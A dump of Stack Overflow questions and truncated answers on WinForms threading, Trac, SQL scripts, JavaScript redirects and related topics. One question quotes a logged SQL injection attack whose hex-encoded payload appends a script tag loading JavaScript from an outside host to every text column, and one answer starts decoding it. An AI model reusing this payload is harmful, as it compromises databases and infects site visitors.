qid
int64
4
22.2M
question
stringlengths
18
48.3k
answers
list
date
stringlengths
10
10
metadata
list
200,314
<p>I'm writing a WinForms app which has two modes: console or GUI. Three projects within the same solution, one for the console app, one for the UI forms and the third to hold the logic that the two interfaces will both connect too. The Console app runs absolutely smoothly. </p> <p>A model which holds the user-selections, it has an <code>IList&lt;T&gt;</code> where T is a local object, <code>Step</code>, which implements <code>INotifyPropertyChanged</code>, so in the UI this is mounted on to a DataGridView. All is fine at runtime, the initial state of the objects is reflected on the screen. </p> <p>Each of the <code>Step</code> objects is a task which is performed in turn; some of the properties will change, being reflected back to the IList and passed on to the DataGridView. </p> <p>This action in the UI versions is done by creating a BackgroundWorker raising events back to the UI. The <code>Step</code> does it thing and generates a <code>StepResult</code> object which is an enumerated type indicating a result (e.g. Running, NotRun, OK, NotOK, Caveat) and a string to indicate a message (because the step ran but not quite as expected, i.e. with a Caveat). Normally the actions will involve a database interaction, but in debug mode I randomly generate a result. </p> <p>If the message is null, there's never a problem, but if I generate a response like this: </p> <pre><code>StepResult returnvalue = new StepResult(stat, "completed with caveat") </code></pre> <p>I get an error saying that the DataGridView was being accessed from a thread other than the thread it was created on. (I'm passing this through a custom handler which should handle the invoking when required - maybe it doesn't?) </p> <p>Then if I generate a unique response, e.g. using a random number <code>r</code>: </p> <pre><code>StepResult returnvalue = new StepResult(stat, r.ToString()); </code></pre> <p>the actions succeed with no problem, the numbers are written cleanly to the DataGridView.</p> <p>I'm baffled. I'm assuming it's somehow a string literal problem, but can anyone come up with a clearer explanation? </p>
[ { "answer_id": 200347, "author": "Skizz", "author_id": 1898, "author_profile": "https://Stackoverflow.com/users/1898", "pm_score": 2, "selected": false, "text": "object Form.SomeFunction (args)\n{\n if (InvokeRequired)\n {\n return Invoke (new delegate (Form.Somefunction), args);\n ...
2008/10/14
[ "https://Stackoverflow.com/questions/200314", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2902/" ]
200,319
<p>Is it possible to store web content (such as JSPs, HTML, images, CSS etc) in a JAR file?</p> <p>I've been looking at various options at modularising our web applications and this is one possibility.</p> <p>We are currently using JSF and Facelets for our view technology - I'm thinking it may be possible to write some form of custom view resolver which would examine the classpath rather than a filesystem directory, but I'm not sure this would work.</p> <p>Any ideas would be appreciated! :)</p> <p>Update: I should probably clarify. How do you get the web container (such as Tomcat) to load resources from a JAR file? For example, I deploy a .war file with my web application. If I access /index.jsp, the container will try to look in the web content directory for a file named index.jsp.</p> <p>Is there an easy way to configure your own resource loader using Tomcat or the like so that it searches the classpath as well as the filesystem?</p>
[ { "answer_id": 200581, "author": "Martin Spamer", "author_id": 15527, "author_profile": "https://Stackoverflow.com/users/15527", "pm_score": 2, "selected": false, "text": "this.getClass().getClassLoader().getResourceAsStream( filename ) ;\n" }, { "answer_id": 207990, "author"...
2008/10/14
[ "https://Stackoverflow.com/questions/200319", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
200,330
<p>I have created a custom installer dll &amp; everything is working fine. I just want to call another installer's <code>Uninstall</code> method from my current installation. When I do this, I get <code>error code 1618</code> (signifies another installer is already running). However when I call the <code>uninstall</code> of the same product from a test project, it is working fine.</p> <p>Could anyone suggest a solution to this?</p> <p>Can I uninstall another application from the current installer?</p>
[ { "answer_id": 200374, "author": "Matthew Scharley", "author_id": 15537, "author_profile": "https://Stackoverflow.com/users/15537", "pm_score": 0, "selected": false, "text": "HKEY_LOCAL(MACHINE|USER)\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{PROGRAM}" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200330", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
200,337
<p>I've never learnt JavaScript, but I imagine this is quite a simple problem. Just wanted to know which method is most advised these days.</p>
[ { "answer_id": 200339, "author": "Owen", "author_id": 4853, "author_profile": "https://Stackoverflow.com/users/4853", "pm_score": 8, "selected": true, "text": "// use this to avoid redirects when a user clicks \"back\" in their browser\nwindow.location.replace('http://somewhereelse.com')...
2008/10/14
[ "https://Stackoverflow.com/questions/200337", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11324/" ]
200,372
<p>I think it important to have an "<strong>undo</strong>" method ala <strong>gmail</strong> when destroying records instead of displaying an annoying popup that says, "<em>Are you sure?</em>".</p> <p>The way that I've implemented this is to have a "deleted_at" timestamp column in the model which gets timestamped when <strong>destroy</strong> method is called</p> <pre><code>def destroy @foo = Foo.find(params[:id]) @foo.update_attribute(:deleted_at, Time.now) ... end </code></pre> <p>To <strong>revert/undo</strong> I'll just set the same column to nil</p> <pre><code>def revert @foo = Foo.find(params[:id]) @foo.update_attribute(:deleted_at, nil) ... end </code></pre> <p>I'll just have to add a condition to filter off "deleted" foos when I call the find method. Perhaps set a cron or background task to really destroy "deleted" foos after some time.</p> <p>Works for me and easy to implement but I'm curious as to if there's a better way to implement this feature? Maybe there's a plugin or gem that provides this that I don't know about?</p>
[ { "answer_id": 200419, "author": "user27732", "author_id": 27732, "author_profile": "https://Stackoverflow.com/users/27732", "pm_score": -1, "selected": false, "text": "class Action\n{\n Perform(context);\n Undo(context);\n}\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200372", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6048/" ]
200,373
<p>I want to filter two list with any fastest method in python script. I have used the built-in <code>filter()</code> method for this purpose. but it is quite slow and taking too much time because I have very big list, I think more than 5 million item in each list or may be more. I do not know how I will make it. Please if anybody have idea or write small function for it. </p>
[ { "answer_id": 200634, "author": "gimel", "author_id": 6491, "author_profile": "https://Stackoverflow.com/users/6491", "pm_score": 4, "selected": false, "text": "from itertools import ifilter\n\ndef is_important(s):\n return len(s)>10\n\nfiltered_list = ifilter(is_important, open('myli...
2008/10/14
[ "https://Stackoverflow.com/questions/200373", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17451/" ]
200,378
<p>The CSS syntax highlighting in vim is not entirely optimal. For example: </p> <pre><code>div.special_class </code></pre> <p>stops the highlighting at the <code>_</code>. </p> <p>Is there an improved highlighter that doesn't bite on an underscore?</p> <p>Update: I'm using VIM - Vi IMproved 7.1 (2007 May 12, compiled Jun 17 2008 15:22:40)</p> <p>and the header of my css.vim is:</p> <pre><code>" Vim syntax file " Language: Cascading Style Sheets " Maintainer: Claudio Fleiner &lt;claudio@fleiner.com&gt; " URL: http://www.fleiner.com/vim/syntax/css.vim " Last Change: 2006 Jun 19 " CSS2 by Nikolai Weibull " Full CSS2, HTML4 support by Yeti </code></pre>
[ { "answer_id": 200389, "author": "Tomalak", "author_id": 18771, "author_profile": "https://Stackoverflow.com/users/18771", "pm_score": 1, "selected": false, "text": "\" Vim syntax file\n\" Language: Cascading Style Sheets\n\" Maintainer: Claudio Fleiner <claudio@fleiner.com>\n\" URL: ...
2008/10/14
[ "https://Stackoverflow.com/questions/200378", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1896/" ]
200,380
<p>I need to model a system where by there will be a team who will consist of users who perform roles in the team and have skills assigned to them.</p> <p><em>i.e. a team A 5 members, one performs the team leader role, all perform the reply to email role, but some have an extra skill to answer the phone</em></p> <p>I'm trying to determine how I can best model this. </p> <p>This problem must have been solved before, are there any good resources on how to model this?</p> <p>EDIT: I need to determine what a user is allowed to do, which could be because they are in a certain team, perform a certain role or have been assigned a certain skill</p>
[ { "answer_id": 200680, "author": "Cheery", "author_id": 21711, "author_profile": "https://Stackoverflow.com/users/21711", "pm_score": 1, "selected": false, "text": "class Team\n container[Member] members\n\nclass Member\n container[Role] roles\n container[Skill] skills\n" }, ...
2008/10/14
[ "https://Stackoverflow.com/questions/200380", "https://Stackoverflow.com", "https://Stackoverflow.com/users/15352/" ]
200,384
<p>What is meant by "Constant Amortized Time" when talking about time complexity of an algorithm?</p>
[ { "answer_id": 249695, "author": "Artelius", "author_id": 31945, "author_profile": "https://Stackoverflow.com/users/31945", "pm_score": 11, "selected": true, "text": "O(1)" }, { "answer_id": 41739246, "author": "Megamozg", "author_id": 1204780, "author_profile": "http...
2008/10/14
[ "https://Stackoverflow.com/questions/200384", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6561/" ]
200,386
<p>I want to set some attributes just before the object is serialized, but as it can be serialized from several locations, is there a way to do this using the OnSerializing method (or similar) for Xml serialization - my class is largely like this - but the On... methods are not being called...:</p> <pre><code>[Serializable] [XmlRoot(ElementName = "ResponseDetails", IsNullable = false)] public class ResponseDetails { public ResponseDetails() {} [OnSerializing] internal void OnSerializingMethod(StreamingContext context) { logger.Info("Serializing response"); } [OnSerialized] internal void OnSerializedMethod(StreamingContext context) { logger.Info("Serialized response"); } [OnDeserialized] internal void OnDeserializedMethod(StreamingContext context) { logger.Info("Deserialized response"); } [OnDeserializing] internal void OnDeserializingMethod(StreamingContext context) { logger.Info("Deserializing response"); } </code></pre>
[ { "answer_id": 200426, "author": "Kent Boogaart", "author_id": 5380, "author_profile": "https://Stackoverflow.com/users/5380", "pm_score": 4, "selected": true, "text": "XmlSerializer" }, { "answer_id": 7512613, "author": "Jatinder Walia", "author_id": 958769, "author_...
2008/10/14
[ "https://Stackoverflow.com/questions/200386", "https://Stackoverflow.com", "https://Stackoverflow.com/users/48310/" ]
200,387
<p>I have two multidimensional arrays (well actually they're only 2D) which have inferred size. How do I deep clone them? Here's what I have gotten so far:</p> <pre><code>public foo(Character[][] original){ clone = new Character[original.length][]; for(int i = 0; i &lt; original.length; i++) clone[i] = (Character[]) original[i].clone(); } </code></pre> <p>A test for equality <code>original.equals(clone);</code> spits out a false. Why? :|</p>
[ { "answer_id": 200418, "author": "abahgat", "author_id": 27565, "author_profile": "https://Stackoverflow.com/users/27565", "pm_score": 2, "selected": false, "text": "equals" }, { "answer_id": 200445, "author": "Andreas Petersson", "author_id": 16542, "author_profile":...
2008/10/14
[ "https://Stackoverflow.com/questions/200387", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
200,393
<p>I'm rebuilding a site with a lot of incoming links, and the URL structure is completely changing. I'm using the stock mod_rewrite solution to redirect all old links to new pages. However, as I'm sure a few links will slip through the net, I've built a small script that runs on my custom 404 page, to log the incoming visitors' referrer URL. This will help me track down any broken links.</p> <p>In addition to referrer, is there also a way of logging the url that the user entered, or clicked that caused a 404? I ask this as referrer is obviously a bit 'hit &amp; miss'.</p> <p>I suspect not, but thought it worth a question.</p>
[ { "answer_id": 200418, "author": "abahgat", "author_id": 27565, "author_profile": "https://Stackoverflow.com/users/27565", "pm_score": 2, "selected": false, "text": "equals" }, { "answer_id": 200445, "author": "Andreas Petersson", "author_id": 16542, "author_profile":...
2008/10/14
[ "https://Stackoverflow.com/questions/200393", "https://Stackoverflow.com", "https://Stackoverflow.com/users/26107/" ]
200,394
<p>I'm trying to design an application to hold academic reference information. The problem is that each different type of reference (eg. journal articles, books, newspaper articles etc) requires different information. For example a journal reference requires both a journal title and an article title, and also a page number, whereas a book requires a publisher and a publication date which journal articles do not require.</p> <p>Therefore, should I have all the references stored in one table in my database and just leave fields blank when they don't apply, or should I have various tables such as BookReferences, JournalReferences, NewspaperReferences and put the appropriate references in each one. The problem then would be that it would make searching through all the references rather more difficult, and also editing would have to be done rather more separately probably.</p> <p>(I'm planning to use Ruby on Rails for this project by the way, but I doubt that makes any difference to this design question)</p> <p><strong>Update:</strong></p> <p>Any more views on this? I hoped to get a simple answer saying that a particular method was definitely considered 'the best' - but as usual things aren't quite as simple as this. The Single-Table Inheritance option looks quite interesting, but there isn't much information on it that I can find very easily - I may post another question on this site about that.</p> <p>I'm split between <a href="https://stackoverflow.com/questions/200394/one-table-or-many#200406">Olvak's answer</a> and <a href="https://stackoverflow.com/questions/200394/one-table-or-many#200671">Corey's answer</a>. Corey's answer gives a good reason why Olvak's isn't the best, but Olvak's answer gives good reasons why Corey's isn't the best! I never realised this could be so difficult...</p> <p>Any further advice much appreciated!</p>
[ { "answer_id": 200671, "author": "Corey Trager", "author_id": 9328, "author_profile": "https://Stackoverflow.com/users/9328", "pm_score": 2, "selected": false, "text": "create view book as \nselect id, field_common-to-book-and-journal, field-specific-to-book\nfrom my-one-big-table\nwher...
2008/10/14
[ "https://Stackoverflow.com/questions/200394", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1912/" ]
200,422
<p>I need to call a <a href="http://en.wikipedia.org/wiki/VBScript" rel="noreferrer">VBScript</a> file (.vbs file extension) in my C# Windows application. How can I do this? </p> <p>There is an add-in to access a VBScript file in Visual Studio. But I need to access the script in code behind. How to do this?</p>
[ { "answer_id": 200429, "author": "Ilya Kochetov", "author_id": 15329, "author_profile": "https://Stackoverflow.com/users/15329", "pm_score": 7, "selected": true, "text": "System.Diagnostics.Process.Start(@\"cscript //B //Nologo c:\\scripts\\vbscript.vbs\");\n" }, { "answer_id": 2...
2008/10/14
[ "https://Stackoverflow.com/questions/200422", "https://Stackoverflow.com", "https://Stackoverflow.com/users/22162/" ]
200,430
<p>I've tried a couple of approaches to update a column in a mySQL database table from another table but am not having any luck. </p> <p>I read somewhere that version 3.5.2 does not support multi-table updates and I need a code-based solution - is that correct?</p> <p>If not can anybody point me in the right direction using sql? </p> <pre><code>UPDATE products SET products_ordered = ( SELECT SUM(products_quantity) FROM orders_products WHERE products_id = products.products_id ); </code></pre> <p>or:</p> <pre><code>Create temporary table my_temp_table as SELECT products_id, SUM(products_quantity) as total FROM orders_products GROUP BY products_id UPDATE products, my_temp_table SET products.products_ordered = my_temp_table.total WHERE products.products_id = my_temp_table.products_id </code></pre>
[ { "answer_id": 201664, "author": "Bill Karwin", "author_id": 20860, "author_profile": "https://Stackoverflow.com/users/20860", "pm_score": 3, "selected": true, "text": "SELECT CONCAT( \n 'UPDATE products SET products_ordered = ', \n SUM(products_quantity), \n ' WHERE product_id = ', ...
2008/10/14
[ "https://Stackoverflow.com/questions/200430", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9948/" ]
200,439
<p>I'm sorry for this very newbish question, I'm not much given into web development. I've got this cool JavaScript in a .js file that we want to use on a small web site. (It's a script to run Cooliris on it).</p> <p>How do use the .js file or attach it to my HTML code?</p>
[ { "answer_id": 200448, "author": "gizmo", "author_id": 9396, "author_profile": "https://Stackoverflow.com/users/9396", "pm_score": 3, "selected": false, "text": "<script type=\"text/javascript\" src=\"myfile.js\"></script>\n" }, { "answer_id": 200453, "author": "Tamas Czinege...
2008/10/14
[ "https://Stackoverflow.com/questions/200439", "https://Stackoverflow.com", "https://Stackoverflow.com/users/26004/" ]
200,447
<p>I am trying to setup tracd for the project I am currently working on. After creating a password file with the python script given in the <a href="http://trac.edgewall.org/wiki/TracStandalone" rel="noreferrer">site</a> I am trying to start the server with authentication on. But it throws up warning saying No users found in the realm. What actually is a realm - I tried using trac as the value and also tried leaving it empty. I am using Windows XP. I am using Tracd Standalone server.</p> <p>The Command Line sent was: tracd --port 8000 --auth=My_Test_Project,D:\My_Test_Project\Documents\Trac\digest.txt,Trac D:\My_Test_Project\Documents\Trac</p> <p>The Warning message was - 'Warning: found no users in realm: trac'</p> <p>Thanks...</p>
[ { "answer_id": 3844015, "author": "spade78", "author_id": 397366, "author_profile": "https://Stackoverflow.com/users/397366", "pm_score": 3, "selected": false, "text": "username:realm:passwordhash" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200447", "https://Stackoverflow.com", "https://Stackoverflow.com/users/13440/" ]
200,469
<p>What is the technical difference between a process and a thread?</p> <p>I get the feeling a word like 'process' is overused and there are also hardware and software threads. How about light-weight processes in languages like <a href="http://en.wikipedia.org/wiki/Erlang_%28programming_language%29" rel="noreferrer">Erlang</a>? Is there a definitive reason to use one term over the other?</p>
[ { "answer_id": 19518207, "author": "Robert S. Barnes", "author_id": 71074, "author_profile": "https://Stackoverflow.com/users/71074", "pm_score": 8, "selected": false, "text": "Per process items | Per thread items\n------------------------------|-----------------\nAddress spa...
2008/10/14
[ "https://Stackoverflow.com/questions/200469", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27081/" ]
200,470
<p>We have found out that Firefox (at least v3) and Safari don't properly cache images referenced from a css file. The images are cached, but they are never refreshed, even if you change them on the server. Once Firefox has the image in the cache, it will never check if it has changed.</p> <p>Our css file looks like this:</p> <pre><code>div#news { background: #FFFFFF url(images/newsitem_background.jpg) no-repeat; ... } </code></pre> <p>The problem is that if we now change the newsitem_background.jpg image, all Firefox users will still get the old image, unless they explicitly refresh the page. IE on the other hand, detects that the image has changed and reloads it automatically.</p> <p>Is this a known problem? Any workarounds? Thanks!</p> <p>EDIT: The solution is not to press F5. I can do this. But our clients will just visit our web site, and get the old, outdated graphics. How would they know they would need to press F5?</p> <p>I have installed Firebug and confirmed what I already suspected: Firefox just doesn't even try to retrieve images referenced from a css file, to find out if they have been changed. When you press F5, it does check all images, and the web server nicely responds with 304, except for those that <em>have</em> changed, where it responds with 200 OK.</p> <p>So, is there a way to urge Firefox to <em>automatically</em> update an image that is referenced from a css file? Surely I'm not the only one with this problem?</p> <p>EDIT2: I tested this with localhost, and the image response doesn't contain any caching information, it's:</p> <pre><code>Server Microsoft-IIS/5.1 X-Powered-By ASP.NET Date Tue, 14 Oct 2008 11:01:27 GMT Content-Type image/jpeg Accept-Ranges bytes Last-Modified Tue, 14 Oct 2008 11:00:43 GMT Etag "7ab3aa1aec2dc91:9f4" Content-Length 61196 </code></pre> <p>EDIT3: I've done some more reading and it looks like it just can't be fixed, since Firefox, or most browser, will just assume an image doesn't change very often (expires header and all).</p>
[ { "answer_id": 200868, "author": "PhiLho", "author_id": 15459, "author_profile": "https://Stackoverflow.com/users/15459", "pm_score": 2, "selected": false, "text": "site-look-124.css" }, { "answer_id": 200922, "author": "Jrgns", "author_id": 6681, "author_profile": "h...
2008/10/14
[ "https://Stackoverflow.com/questions/200470", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12416/" ]
200,476
<p>Let's say I have a class</p> <pre><code>public class ItemController:Controller { public ActionResult Login(int id) { return View("Hi", id); } } </code></pre> <p>On a page that is not located at the Item folder, where <code>ItemController</code> resides, I want to create a link to the <code>Login</code> method. So which <code>Html.ActionLink</code> method I should use and what parameters should I pass?</p> <p>Specifically, I am looking for the replacement of the method </p> <pre><code>Html.ActionLink(article.Title, new { controller = "Articles", action = "Details", id = article.ArticleID }) </code></pre> <p>that has been retired in the recent ASP.NET MVC incarnation. </p>
[ { "answer_id": 201206, "author": "Adhip Gupta", "author_id": 384, "author_profile": "https://Stackoverflow.com/users/384", "pm_score": 4, "selected": false, "text": "Html.ActionLink(article.Title, \"Login/\" + article.ArticleID, 'Item\") \n" }, { "answer_id": 201341, "author"...
2008/10/14
[ "https://Stackoverflow.com/questions/200476", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3834/" ]
200,483
<p>Is there a way to find all the class dependencies of a java main class?</p> <p>I have been manually sifting through the imports of the main class and it's imports but then realized that, because one does not have to import classes that are in the same package, I was putting together an incomplete list.</p> <p>I need something that will find dependencies recursively (perhaps to a defined depth).</p>
[ { "answer_id": 49875251, "author": "Andrushenko Alexander", "author_id": 6093953, "author_profile": "https://Stackoverflow.com/users/6093953", "pm_score": 0, "selected": false, "text": "ClassLoader cl = ClassLoader.getSystemClassLoader();\nURL[] urls = ((URLClassLoader) cl).getURLs();\nf...
2008/10/14
[ "https://Stackoverflow.com/questions/200483", "https://Stackoverflow.com", "https://Stackoverflow.com/users/939/" ]
200,484
<p>I'm trying to create a use-once HTTP server to handle a single callback and need help with finding a free TCP port in Ruby.</p> <p>This is the skeleton of what I'm doing:</p> <pre><code>require 'socket' t = STDIN.read port = 8081 while s = TCPServer.new('127.0.0.1', port).accept puts s.gets s.print "HTTP/1.1 200/OK\rContent-type: text/plain\r\n\r\n" + t s.close exit end </code></pre> <p>(It echoes standard input to the first connection and then dies.)</p> <p>How can I automatically find a free port to listen on? </p> <p>This seems to be the only way to start a job on a remote server which then calls back with a unique job ID. This job ID can then be queried for status info. Why the original designers couldn't just return the job ID when scheduling the job I'll never know. A single port cannot be used because conflicts with multiple callbacks may occur; in this way the ports are only used for +- 5 seconds.</p>
[ { "answer_id": 200795, "author": "Marius Marais", "author_id": 13455, "author_profile": "https://Stackoverflow.com/users/13455", "pm_score": 2, "selected": false, "text": "require 'socket'\nt = STDIN.read\n\nport = 8080 # preferred port\nbegin\n server = TCPServer.new('127.0.0.1', port)...
2008/10/14
[ "https://Stackoverflow.com/questions/200484", "https://Stackoverflow.com", "https://Stackoverflow.com/users/13455/" ]
200,488
<p>How would I set an image to come from a theme directory (my theme changes so I don't want to directly reference) I am sure this is possible but every example I find doesn't seem to work. They are usually along the lines of:</p> <p>asp:image ID="Image1" runat="server" ImageUrl="~/Web/Mode1.jpg" /</p> <p>where Web would be a sub directory in my themes folder. Suggesting the theme directory would be added at runtime.</p>
[ { "answer_id": 200840, "author": "Joe", "author_id": 13087, "author_profile": "https://Stackoverflow.com/users/13087", "pm_score": 0, "selected": false, "text": "<asp:Image runat=\"server\" ImageUrl=\"filename.ext\" />\n" }, { "answer_id": 201027, "author": "Elijah Manor", ...
2008/10/14
[ "https://Stackoverflow.com/questions/200488", "https://Stackoverflow.com", "https://Stackoverflow.com/users/16989/" ]
200,499
<p>Does anybody have a keybinding scheme similar to VS 2005 available for Eclipse?</p> <p>How to import it into preferences of Eclipse (I see only export button).</p>
[ { "answer_id": 544635, "author": "Luke Quinane", "author_id": 18437, "author_profile": "https://Stackoverflow.com/users/18437", "pm_score": 4, "selected": false, "text": "Eclipse Platform\n\nVersion: 3.4.1\nBuild id: M20080911-1700\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200499", "https://Stackoverflow.com", "https://Stackoverflow.com/users/501/" ]
200,513
<p>i have a bunch of sql scripts that should upgrade the database when the java web application starts up.</p> <p>i tried using the ibatis scriptrunner, but it fails gloriously when defining triggers, where the ";" character does not mark an end of statement.</p> <p>now i have written my own version of a script runner, which basically does the job, but destroys possible formatting and comments, especially in "create or replace view".</p> <pre><code>public class ScriptRunner { private final DataSource ds; public ScriptRunner(DataSource ds) { this.ds = ds; } public void run(InputStream sqlStream) throws SQLException, IOException { sqlStream.reset(); final Statement statement = ds.getConnection().createStatement(); List&lt;String&gt; sqlFragments = createSqlfragments(sqlStream); for (String toRun : sqlFragments) { if (toRun.length() &gt; 0) { statement.execute(toRun); } } } private static List&lt;String&gt; createSqlfragments(InputStream sqlStream) throws IOException { BufferedReader br = new BufferedReader(new InputStreamReader(sqlStream)); List&lt;String&gt; ret = new ArrayList&lt;String&gt;(); String line; StringBuilder script = new StringBuilder(); while ((line = br.readLine()) != null) { if (line.equals("/")) { ret.add(removeMultilineComments(script)); script = new StringBuilder(); } else { //strip comments final int indexComment = line.indexOf("--"); String lineWithoutComments = (indexComment != -1) ? line.substring(0, indexComment) : line; script.append(lineWithoutComments).append(" "); } } if (script.length() &gt; 0) { ret.add(removeMultilineComments(script)); } return ret; } private static String removeMultilineComments(StringBuilder script) { return script.toString().replaceAll("/\\*(.*?)\\*/", "").trim(); } </code></pre> <p>is there a clean way to acieve this? is there something in hibernate i have not seen? or can i pass an inputstream to sqlplus somehow? besides my worries about the formatting, i doubt that this code is error-free, since i have limited knowledge about the pl/sql syntax.</p>
[ { "answer_id": 232854, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 3, "selected": false, "text": "setDelimiter(String, boolean)" }, { "answer_id": 2251863, "author": "Nitin", "author_id": 271837, "author_...
2008/10/14
[ "https://Stackoverflow.com/questions/200513", "https://Stackoverflow.com", "https://Stackoverflow.com/users/16542/" ]
200,525
<p>Here is the input (html, not xml):</p> <pre><code>... html content ... &lt;tag1&gt; content for tag 1 &lt;/tag1&gt; &lt;tag2&gt; content for tag 2 &lt;/tag2&gt; &lt;tag3&gt; content for tag 3 &lt;/tag3&gt; ... html content ... </code></pre> <p>I would like to get 3 matches, each with two groups. First group would contain the name of the tag and the second group would contain the inner text of the tag. There are just those three tags, so it doesn't need to be universal.</p> <p>In other words:</p> <pre><code>match.Groups["name"] would be "tag1" match.Groups["value"] would be "content for tag 2" </code></pre> <p>Any ideas?</p>
[ { "answer_id": 200540, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 1, "selected": false, "text": "string input = @\"<html>...some html content <b> etc </b> ...\n<user> hello <b>mitch</b> </user>\n...some html conten...
2008/10/14
[ "https://Stackoverflow.com/questions/200525", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27787/" ]
200,527
<p>I collect statistics on IP addresses from where users visit my site and I have noticed what there are only two IP addresses presented, 172.16.16.1 and 172.16.16.248. The property I use to determine IP address is</p> <pre><code>Request.UserHostAddress </code></pre> <p>What could be a reason of IP address information losing? All the users are from around the world, so they cann't be behind only two proxies.</p>
[ { "answer_id": 200546, "author": "Node", "author_id": 7190, "author_profile": "https://Stackoverflow.com/users/7190", "pm_score": 1, "selected": false, "text": "Request.ServerVariables(\"REMOTE_ADDR\") \n" }, { "answer_id": 200661, "author": "Dave Anderson", "author_id": ...
2008/10/14
[ "https://Stackoverflow.com/questions/200527", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11256/" ]
200,545
<p>I have a public facing website that has been receiving a number of SQL injection attacks over the last few weeks. I exclusively use parameterised stored procedures so I believe that there has been no <em>successful</em> attacks, but a recent log showed an interesting technique:</p> <p><em>Line breaks added for clarity</em></p> <pre> http://www.mydummysite.uk/mypage.asp?l_surname=Z;DECLARE%20@S%20CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263 686172283430303029204445434C415245205461626C655F437572736F7220435552534F 5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F 626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69 6420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72 20622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970 653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420 46524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528 404046455443485F5354415455533D302920424547494E20657865632827757064617465 205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C 736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F6373 7273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077 6865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73 6372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F637372 73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854 2046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043 4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43 7572736F72 AS CHAR(4000));EXEC(@S);&amp;_X=" </pre> <p>Can anyone shed light on what the "CAST and EXEC" is attempting to do?</p>
[ { "answer_id": 200548, "author": "Ishmaeel", "author_id": 227, "author_profile": "https://Stackoverflow.com/users/227", "pm_score": 6, "selected": true, "text": "DECLARE @T varchar(255),\n @C varchar(4000) \n\nDECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name\nFROM sysobjects a...
2008/10/14
[ "https://Stackoverflow.com/questions/200545", "https://Stackoverflow.com", "https://Stackoverflow.com/users/993/" ]
200,550
<p>I was just wondering what (if any) the difference was between the following two message traps in MFC for the function, OnSize(..).</p> <h1>1 - Via Message map:</h1> <pre><code>BEGIN_MESSAGE_MAP(CClassWnd, CBaseClassWnd) ... ON_WM_SIZE() .. END_MESSAGE_MAP() </code></pre> <h1>2 - Via afx_message:</h1> <pre><code>afx_msg type OnSize(...); </code></pre> <p>They seem to be used interchangeably, which one should be used or does it depend on other factors?</p>
[ { "answer_id": 200645, "author": "ChrisN", "author_id": 3853, "author_profile": "https://Stackoverflow.com/users/3853", "pm_score": 5, "selected": true, "text": "OnSize" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200550", "https://Stackoverflow.com", "https://Stackoverflow.com/users/18664/" ]
200,574
<p>I'd like to do the equivalent of the following in LINQ, but I can't figure out how:</p> <pre><code>IEnumerable&lt;Item&gt; items = GetItems(); items.ForEach(i =&gt; i.DoStuff()); </code></pre> <p>What is the real syntax?</p>
[ { "answer_id": 200584, "author": "Fredrik Kalseth", "author_id": 1710, "author_profile": "https://Stackoverflow.com/users/1710", "pm_score": 11, "selected": true, "text": "IEnumerable" }, { "answer_id": 1107460, "author": "Community", "author_id": -1, "author_profile"...
2008/10/14
[ "https://Stackoverflow.com/questions/200574", "https://Stackoverflow.com", "https://Stackoverflow.com/users/192/" ]
200,576
<p>I have a J2EE based web application.</p> <p>In one of the pages there is a button labeled "Print". </p> <p>My problem is something like this: </p> <p>User enters tool names for e.g: ToolName1 ToolName2 ToolName3 </p> <p>Then clicks on "Print". </p> <p>The intended action is that tool details of the 3 tools are retrieved from db and then printed one tool per page. (i.e On clicking this button some processing should take place in the background db retrieval before sending the details to the printer...)</p> <p>Please suggest how best this task of printing the web page could be done.</p> <p>Hope the problem is clear.</p> <p>Thanks in advance...:)</p>
[ { "answer_id": 200591, "author": "Nick Pierpoint", "author_id": 4003, "author_profile": "https://Stackoverflow.com/users/4003", "pm_score": 2, "selected": false, "text": "<script>\n function printPage() {\n window.print(); \n }\n</script>\n" }, { "answer_id": 200605...
2008/10/14
[ "https://Stackoverflow.com/questions/200576", "https://Stackoverflow.com", "https://Stackoverflow.com/users/23414/" ]
200,578
